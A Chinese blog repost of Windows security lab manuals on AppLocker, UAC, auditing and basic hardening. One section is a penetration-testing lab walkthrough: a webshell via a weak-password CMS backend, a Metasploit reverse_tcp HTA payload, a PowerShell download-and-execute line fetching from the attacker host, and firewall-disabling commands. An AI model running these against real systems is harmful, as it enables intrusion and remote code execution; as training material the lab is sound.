windows安全配置实验手册

news2024/9/24 19:20:49

访问控制策略(L1940520022J)

预备知识

Windows 7中,不仅有面向软件的限制方法,还增加了一种名为AppLocker的访问控制策略(仅适用于企业版和旗舰版)。

实验环境


操作系统类型:windows 7。

实验步骤一

设置必要的服务并使其自动启动

在windows资源管理器中右键点击计算机

点击管理,点击右侧栏中的服务,选中application identity,在其上点击右键选择属性

在属性窗口中的常规选项卡中点击启动按钮,并把启动类型设置为“自动”。

最后点击确定。

实验步骤二

设置新的普通账户

在windows资源管理器中右键点击计算机

点击管理,在左侧栏中右键点击用户

点击新用户,录入账户、密码,并设置勾选项

实验步骤三

设置限制策略

在“开始”菜单中的运行文本框中,录入“gpedit.msc”,启动“本地组策略编辑器”。

选择“windows设置”-“安全设置”-“应用程序控制策略”-“AppLocker”-“可执行规则”。

在右侧空白窗口中点击右键,选择“创建新规则”。

点下一步,选择拒绝单选项,并点击选择按钮。

点击上图“高级”按钮。

点击“立即查找”按钮。

选择“users”组,点击两次“确定”。

在下图中选择“拒绝”,再在“用户或组”栏点击“选择”来选择具体的组或用户。

点击“下一步”,选择“路径”单选钮。

点击“下一步”。

点击“浏览文件”。

选中system32目录下的notepad.exe文件,点击“打开”按钮

点击“创建”按钮。

点击“是”按钮。

至此,访问控制(限制使用)的策略已经设置完毕。

注意:务必重启计算机或虚拟机,策略才会生效。

实验步骤四

验证限制策略的效果

重新启动系统并以新建的(被拒绝策略限制使用某软件的)用户及密码登录。

试着运行被前面设置的策略决绝=拒绝该用户使用的写字板(notepad)程序。

点击“记事本”程序图标。

Windows7操作系统安全

预备知识

Windows系列是目前世界上使用用户最多的桌面操作系统。由于历史原因,Windows的很多用户都直接以管理员权限运行系统,对计算机安全构成很大隐患。从Windows Vista[lc1] 开始,Windows加强了用户账户控制的管理,使用“用户账户控制”(User Account Control,UAC)模块来管理和限制用户权限。UAC体现了最小特权原则,即在执行任务时使用尽可能少的特权。用户以管理员身份登陆会得到两个令牌:

1)完全访问令牌(需要管理员特别设置权限)

2)标准受限访问令牌(应用程序默认以标准用户令牌运行)

安全审计是整体安全策略的一部分。通过对系统和用户进行充分和适当的审核,就能够在发生安全事故之后帮助发现产生事故的原因,并提供相应的证据。Windows审核子系统与安全决策组件、事件日志服务联合工作,以可靠的方式生成安全事件。安全决策组件通常被称作安全参考监控,当制定了安全决策后或有其他有关安全的活动发生时,监视器就会通知审核子系统,并将活动的细节传给系统。审核系统将这些细节格式化为事件日志。

实验环境

Windows7 操作系统

实验步骤一

账户与口令

(1)删除不再使用的账户,禁用Guest账户。进入“控制面板”→“用户账户和家庭安全”→“用户账户”→“管理其他账户”,如图 1所示。

图 1 未使用和来宾账户

找到未使用的用户,选择“删除账户”,如果确定永久不再使用,那么相应的账户文件也要选择删除;找到“来宾账户”,选择“关闭来宾账户”;更改管理员账户的名称,避免“admin”等简单账户名。

(2)启用账户策略。进入“控制面板”→“管理工具”→“本地安全策略”。

在“账户策略”→“密码策略”中,启用“密码必须符合复杂性要求”和设置“密码长度最小值”提升密码强度;设定“密码最短使用期限”防止短期内入侵者修改密码;设定“密码最长使用期限”提醒用户定期修改密码,防止密码使用时间过长带来的安全问题,如图 2所示。

图 2 密码策略

在“账户策略”→“账户锁定策略”中,设置用户连续登录失败多次,则锁定一段时间,如连续登录失败3次,则锁定30分钟。

在“本地策略”→“安全选项”中,启用“交互式登录:不显示最后的用户名”,防止攻击者从本地或Terminal Service的登录界面看到用户名;启用“网络访问:不允许枚举SAM账户和共享的匿名枚举”,防止攻击者通过空连接匿名枚举出本地所有用户名,如图3所示。

图 3 安全选项

(3)用户和用户组权限管理。任意选择一个文件或者文件夹,右键选择“属性”→“安全”,可以查看到组或用户的管理权限,包括修改、读取和执行、列出内容、读取、写入等,如图4所示。

图 4 查看用户管理权限

点击“高级”,进入高级安全设置,选择需要更改的用户或组,点击“编辑”,在弹出的权限项目中勾选权限允许或者拒绝,如图5所示。

图 5 用户和组高级安全设置

实验步骤二

审核与日志

(1)启用审核。进入“控制面板”→“管理工具”→“本地安全策略”。在“本地策略”→“审核策略”中,选择需要审核的策略,勾选审核的具体操作。例如更改“审核账户管理”,对成功和失败操作都进行审核,如图6所示。

图 6 审核策略

(2)查看日志事件。进入“控制面板”→“管理工具”→“事件查看器”,可以看到“Windows日志”、“应用程序和服务日志”等内容,打开“Windows日志”→“安全”即可查看所有安全事件,如图7所示。

图 7 日志查看

实验步骤三

安全模板

(1)启用安全模板。打开“运行”,输入“mmc”进入系统控制台,进入“文件”“添加/删除管理单元”,添加“安全模板”和“安全配置和分析”,如图8所示。

图 8 添加安全模板

(2)新建安全模板。在“安全模板”中选择“新加模板”,填入名称及描述,建立成功后可以看到该模板下的所有策略,按照不同的需求更改不同的策略项目并保存即可,如图9所示。

图 9 新建安全模板

添加完毕后回到控制台,在“安全配置与分析”项目中,按照提示打开或新建数据库,如图10所示。(此步骤需要系统中存在配置文件才能操作)

图 10 导入安全模板数据库

成功导入数据库后,选择“立即分析计算机”,并设置日志文件路径,系统开始按照上一步中选定的安全模板,以确定当前系统的安全设置是否符合要求,分析完毕后可在目录中选择查看各安全设置的分析结果。选择“立即配置计算机”,则按照所选择的安全模板的要求对当前系统进行配置。


 [lc1]Windows Vista" 是微软(Microsoft)发布的操作系统,它是Windows XP之后的一代操作系统。

Windows主机信息收集

实验环境

目标机器:win7、IP:10.1.1.126

攻击机器:kali、IP:10.1.1.144

所需工具请在实验机内下载使用: http://tools.hetianlab.com/tools/HongCMS-tools.zip

实验步骤一

任务描述:获取目标服务器shell

目标首页:

通过对目标网站的敏感目录探测,发现存在admin目录:

访问后发现为目标网站后台:

通过手工枚举的方式用户名和密码为root:root成功进入后台:

接下来就是寻找可以getshell的点:

在模板管理处发现存在任意文件上传且允许上传php,目录也回显给我们了。

同时在语言管理处发现也可以编辑语言文件getshell:

此处我们通过修改语言模板getshell,访问后可能会报权限不足的错误,但是shell是可以运行的:

通过蚁剑连接,获取目标shell

Linux启动蚁剑:

下载工具包后解压antSword-2.1.10和AntSword-Loader-v4.0.3-linux-x64,前一个为蚁剑加载包,后一个为蚁剑主程序。进入AntSword-Loader-v4.0.3-linux-x64启动蚁剑:

这时候需要去初始化蚁剑的工作目录,选择解压后的antSword-2.1.10,然后重启蚁剑。

之后配置要连接的shell:

实验步骤二

任务描述:通过获取的webshell,进行内网信息收集

1. 首先分析进出口的流量是否能连通

协议的判断:场景的TCP、DNS、HTTP、ICMP等协议;

端口判断:外网vps做监听,内网机器测试常见端口,常见能出去的端口有80,8080,443,53,110,123;

TCP协议:

vps: nc -lvvp[lc1]  8888 

target: nc 10.1.1.144 8888 (需要通过webshell上传nc)

ICMP协议:

vps:tcpdump icmp 

target: ping 10.1.1.144

DNS协议:

vps: nc -u -lvp 53  

target :nslookup www.baidu.com 10.1.1.144

HTTP协议:nc -lvvp 80  

target: 10.1.1.144 80  (需要上传curl)

将shell反弹到msf上面,因为在webshell下不交互

use exploit/windows/misc/hta_server

msf exploit(windows/misc/hta_server) > set srvhost 10.1.1.144

msf exploit(windows/misc/hta_server) > set payload windows/x64/meterpreter/reverse_tcp

msf exploit(windows/misc/hta_server) > set lhost 10.1.1.144

msf exploit(windows/misc/hta_server) > set target 1

msf exploit(windows/misc/hta_server) > exploit -j

2. 用户信息收集

查看本机用户列表:net user

获取本地管理员信息:net localgroup administrators

#查看当前在线用户和会话

quser

query user

query user || qwinsta

查当前用户在目标系统中的具体权限:whoami /all

查看当前权限:whoami && whoami /priv

查当前机器中所有的组名,了解不同组的职能:net localgroup

3. 系统信息收集

查询网络配置信息,进行IP地址段信息收集:ipconfig /all

#查询操作系统及软件信息

systeminfo | findstr /B /C:"OS Name" /C:"OS Version"   #英文系统

systeminfo | findstr /B /C:"OS 名称 " /C:"OS 版本 "    #中文系统

查看当前系统版本:wmic OS get Caption,CSDVersion,OSArchitecture,Version

查看系统体系结构:echo %PROCESSOR_ARCHITECTURE%

查询本机服务信息:wmic service list brief

查看安装的软件的版本、路径等:wmic product get name, version

powershell "Get-WmiObject -class Win32_Product |Select-Object -Property name, version"

查询进程信息:tasklist

wmic process list brief

查看启动程序信息:wmic startup get command,caption

#查看计划任务

at (win10之前)

schtasks /query /fo LIST /v (win10)

查看主机开机时间:net statistics workstation

列出或断开本地计算机与所连接的客户端的对话:net session

查看远程连接信息:cmdkey /l

查看补丁列表:systeminfo | findstr KB

查看补丁的名称、描述、 ID、安装时间等:wmic qfe getCaption,Description,HotFixID,InstalledOn

查看杀软:WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct GetdisplayName /Format:List

查看本地密码策略:net accounts

#查看 hosts 文件

Linux:cat /etc/hosts

Windows:type c:\Windows\system32\drivers\etc\hosts

查看dns缓存:ipconfig /displaydns

4. 网络信息收集

查看本机所有的tcp,udp端口连接及其对应的 pid :netstat -ano

查看本机所有的tcp,udp端口连接,pid及其对应的发起程序:netstat -anob

#查看路由表和arp缓存:

route print

arp -a

 #查看本机共享列表和可访问的域共享列表(445端口)

net share

wmic share get name,path,status

磁盘映射:net use k: \\10.1.1.144\c$

5. 防火墙信息收集

#关闭防火墙

netsh firewall set opmode disable (Windows Server 2003以前的版本)

netsh advfirewall set allprofiles state off(WindowsServer 2003 以后的版本)

查看防火墙配置:netsh firewall show config (netsh命令也可以用作端口转发)

查看配置规则:netsh advfirewall firewall show rule name=all

6. 代理信息收集(前提目标配置了代理,否则会报错)

REG QUERY "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\InternetSettings" /v ProxyServer

#通过pac文件自动代理情况

REG QUERY "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\InternetSettings" /v AutoConfigURL

7. Powershell脚本

FTP 访问、共享连接、 putty 连接、驱动、应用程序、 hosts 文件、进程、无线网络记录

首先在kali开启http服务:Python3 -m http.server

powershell iex(new-object net.webclient).downloadstring('http://10.1.1.144:8000/Get-Information.ps1');Get-information

8. Metasploit

Scraper模块:

Meterpreter > run scraper

/root/.msf4/logs/scripts/scraper

winenum模块:

meterpreter > run winenum

/root/.msf4/logs/scripts/winenum


 [lc1]nc: 这是Netcat命令的缩写,用于在网络上传输数据。

-l: 这个选项表示在监听模式下运行Netcat,也就是让Netcat成为一个监听器,等待传入的连接。

-v: 这是"verbose"(详细)模式的选项,它会显示更多详细信息,通常用于调试目的。

-p 8888: 这个选项指定要监听的端口号。在这个例子中,它是8888,表示Netcat将在端口8888上等待传入的连接。

如何优雅的保护你的系统

实验环境

操作系统:Windows 7  IP地址:随机

所用软件:360安全卫士,沙盒软件(Sandboxie,360沙盒)

实验步骤一

创建安全的系统用户

1、创建非管理员权限的用户

      Windows系统从Windows 7。   为了安全考虑开始默认账号并不是管理员账号。但是很多人装的系统并不是原版安装,所以很多人使用的系统账号是管理员账号,这对我们的系统来说是非常不安全的。所以我们要学习如何创建非管理员权限的账号

      特别说明:由于实验环境的特殊性,试验机所用的账号是Administrator管理员账号,禁止重启系统。

      创建账号最好在系统刚刚装好之后,其他的软件安装使用创建的非管理员账号登录系统后安装。

1)打开“计算机管理”

      在“计算机”图标上右键,选择“管理”

2)选择“本地用户和组”

      点击“本地用户和组”左边的 + 加号,再点“用户”,就能看到操作系统当前有哪些账号了

3)新建用户:

      在空白处右键,选择 “新用户” ,弹出新用户选项卡

      填入你想设置的用户名和密码:全名和描述可以随便填写

实验步骤二

对操作系统进行安全防护

1)开启Windows系统防火墙,提供基础保护,此处不演示防火墙高级设置

      点击桌面右下角的“网络图标”选择“打开网络和共享中心”

      在打开的界面中选择“Windows防火墙”

      接着我们可以看到防火墙状态界面:绿色的盾牌表示当前防火墙是开启的

     

      如果是红色的盾牌,表示防火墙未开启:

     

      此时我们可以点:“使用推荐设置”,这样系统就会开启防火墙

     

 2)打开windows update,更新系统补丁

      Windows会不定时发布系统漏洞补丁,打开Windows update可以保证能及时更新补丁,当然我们不推荐此法。请往下看

3)安装安全软件,实验环境已安装360安全卫士

      在桌面右下角的 360安全卫士的图标上右键选择“查杀修复”

      选择”漏洞修复“, “立即修复“即可。

4)利用360杀毒查杀木马病毒

      扫描未知文件:

      在C盘下有一个看上去不认识的文件夹,我们用360杀毒来扫描是否正常,在文件夹上右键—选择360杀毒扫描(其他杀毒软件同理)

      等一会儿就出来结果了,然后点“立即处理“

      当然你还可以在整个 C盘上右键选择”使用360杀毒扫描”

     

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1334943.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

优雅地使用python读取excel

python读取excel可以用pandas模块,功能比较强大 在对应的虚拟环境里面用anaconda安装(如果你的python运行环境是用anaconda配置的),如果没有添加虚拟环境,直接在终端里面pip3 install pandas安装就可以。 import pan…

测试C#使用AForge从摄像头获取图片

百度“C# 摄像头”关键词,从搜索结果来看,使用OpenCV、AForge、window动态链接库获取摄像头数据的居多,本文学习基于Aforge.net连接摄像头并从摄像头获取图片的基本方法。   AForge相关包(尤其是相关的控件)主要针对…

个人或企业为啥要搭建及自己的知识付费平台才有前景?

在知识经济的时代,知识的传播和变现显得愈发重要。许多个人或企业选择将自己的知识、技能和经验通过课程的形式进行传播,以实现知识的价值。然而,在使用其他平台进行课程销售的过程中,他们常常面临着一些问题和挑战。 首先&#…

《C++避坑神器·二十五》简单搞懂json文件的读写之遍历json文件读写

json.hpp库放在文章末尾 1、遍历json文件读写 (1)插入新键值对到json之情形1 原来json文件如下所示: {"Connection": {"IpAddress": "192.168.20.1","Rock": 0,"Solt": 1}, "Data…

Spring之国际化:i18n

学习的最大理由是想摆脱平庸,早一天就多一份人生的精彩;迟一天就多一天平庸的困扰。各位小伙伴,如果您: 想系统/深入学习某技术知识点… 一个人摸索学习很难坚持,想组团高效学习… 想写博客但无从下手,急需…

业务模式画布(Business Model Canvas)

本来应该进步了解业务架构和业务分析的知识,可是突然发现一个问题,就是在这透彻这两个概念之前,需要一个更为清晰的概念基础,那就是Business Model,很多时候翻译未商业模式,我更喜欢称之为业务模式&#xf…

SpringMVC之跨域请求

系列文章目录 提示:这里可以添加系列文章的所有文章的目录,目录需要自己手动添加 SpringMVC之跨域请求 提示:写完文章后,目录可以自动生成,如何生成可参考右边的帮助文档 文章目录 系列文章目录前言一、什么是同源策略…

将mapper.xml保存为idea的文件模板

将mapper.xml保存为idea的文件模板 在idea的File and Code Templates中将需要使用模板的内容添加为模板文件。 那么接下来请看图&#xff0c;跟着步骤操作吧。 mapper.xml文件内容 <?xml version"1.0" encoding"UTF-8"?> <!DOCTYPE mapper P…

漏洞复现-红帆OA iorepsavexml.aspx文件上传漏洞(附漏洞检测脚本)

免责声明 文章中涉及的漏洞均已修复&#xff0c;敏感信息均已做打码处理&#xff0c;文章仅做经验分享用途&#xff0c;切勿当真&#xff0c;未授权的攻击属于非法行为&#xff01;文章中敏感信息均已做多层打马处理。传播、利用本文章所提供的信息而造成的任何直接或者间接的…

Rust中saturating_sub的使用

为了防止整数溢出&#xff0c;开发人员通常使用checked_add、checked_sub、saturating_add、saturating_sub等函数&#xff0c;而不是简单的加法和减法&#xff08;、-&#xff09; 关于饱和减法 saturating 是 使饱和之意 饱和减法&#xff08;Saturating Subtraction&#xf…

【网络编程】基于UDP数据报实现回显服务器/客户端程序

个人主页&#xff1a;兜里有颗棉花糖 欢迎 点赞&#x1f44d; 收藏✨ 留言✉ 加关注&#x1f493;本文由 兜里有颗棉花糖 原创 收录于专栏【网络编程】【Java系列】 本专栏旨在分享学习网络编程的一点学习心得&#xff0c;欢迎大家在评论区交流讨论&#x1f48c; 前言 我们如果…

【前端查漏补缺】每日10题 2023-12-25

1. 实现lodash _get方法 _.get 是 Lodash 库中的一个方法&#xff0c;用于按照给定的路径从对象中获取值。它是一种安全的方式&#xff0c;可以避免在获取嵌套属性时出现的空指针错误。 _.get 方法的语法如下&#xff1a; _.get(object, path, [defaultValue])参数说明&…

【【IIC模块Verilog实现---用IIC协议从FPGA端读取E2PROM】】

IIC模块Verilog实现–用IIC协议从FPGA端读取E2PROM 下面是 design 设计 I2C_dri.v module IIC_CONTROL #(parameter SLAVE_ADDR 7b1010000 , // E2PROM 从机地址parameter CLK_FREQ 26d50_000_000 , // 50MHz 的时钟频率parameter …

怎么卸载macOS上的爱思助手如何卸载macOS上的logitech g hub,如何卸载顽固macOS应用

1.在App Store里下载Cleaner One Pro &#xff08;注意&#xff0c;不需要订阅付费&#xff01;&#xff01;&#xff01;白嫖基础功能就完全够了&#xff01;&#xff01;&#xff01;&#xff09; 2.运行软件&#xff0c;在左侧目录中选择“应用程序管理”&#xff0c;然后点…

迪文屏开发保姆级教程6----触摸实现界面切换

这篇文章要讲啥事呢&#xff1f; 本篇文章主要介绍了在DGBUS平台上触摸实现界面切换的方法。 文哥悄悄话&#xff1a; 官方开发指南PDF&#xff1a;&#xff08;不方便下载的私聊我发给你&#xff09; https://download.csdn.net/download/qq_21370051/88647174?spm1001.201…

vue场景 无分页列表条件过滤,子组件多选来自父组件的列表

日常开发中&#xff0c;经常会遇到下面场景&#xff1a; 页面加载一个无分页列表&#xff0c;同时工具栏设置多个条件可对列表过滤的场景(典型的就是关键字模糊查询)父组件传给子组件列表&#xff0c;子组件中需要多选列表多选&#xff0c;选择结果返回父组件 1 无分页列表过…

JavaScript常用技巧专题五

文章目录 一、使用适当的命名和注释来提高代码可读性二、优雅的写条件判断代码2.1、普通的if else2.2、三元运算符2.3、多个if else2.4、switch case2.5、对象写法2.6、Map写法 三、封装条件语句四、函数应该只做一件事五、Object.assign给默认对象赋默认值六、函数参数两个以下…

python(上半部分)

第一部分 1、input()语句默认结果是字符串 2、type()可以判断变量的类型 3、input()输出语句 &#xff08;默认为字符串类型&#xff09; 4、命名规则&#xff1a;中文、英文、数字、_&#xff0c;数字不可开头&#xff0c;大小写敏感。 5、 %s&#xff1a;将内容转换成…

2024年手把手教你安装FL Studio Producer Edition 21.2.2.3914中文汉化破解版

FL Studio Producer Edition 21.2.2.3914中文汉化破解版也就是 Image-Line 出品的一款功能强大的编曲软件&#xff0c;全名 Fruity Loops Studio 简称“FL Studio”今天突然的发现我们经常使用的水果音乐制作软件 FL STUDIO 居然从FL STUDIO 21.1.1 一下子跨越了版本号到了FL S…

Typora Mac激活

首先去官网选择mac版本下载安装 typora下载 然后打开typora包内容找到 /Applications/Typora.app/Contents/Resources/TypeMark/page-dist 找到/static/js/Licen..如下图 编辑器打开上面文件夹 输入 hasActivated"true"e.hasActivated 进行搜索 将它改为 hasA…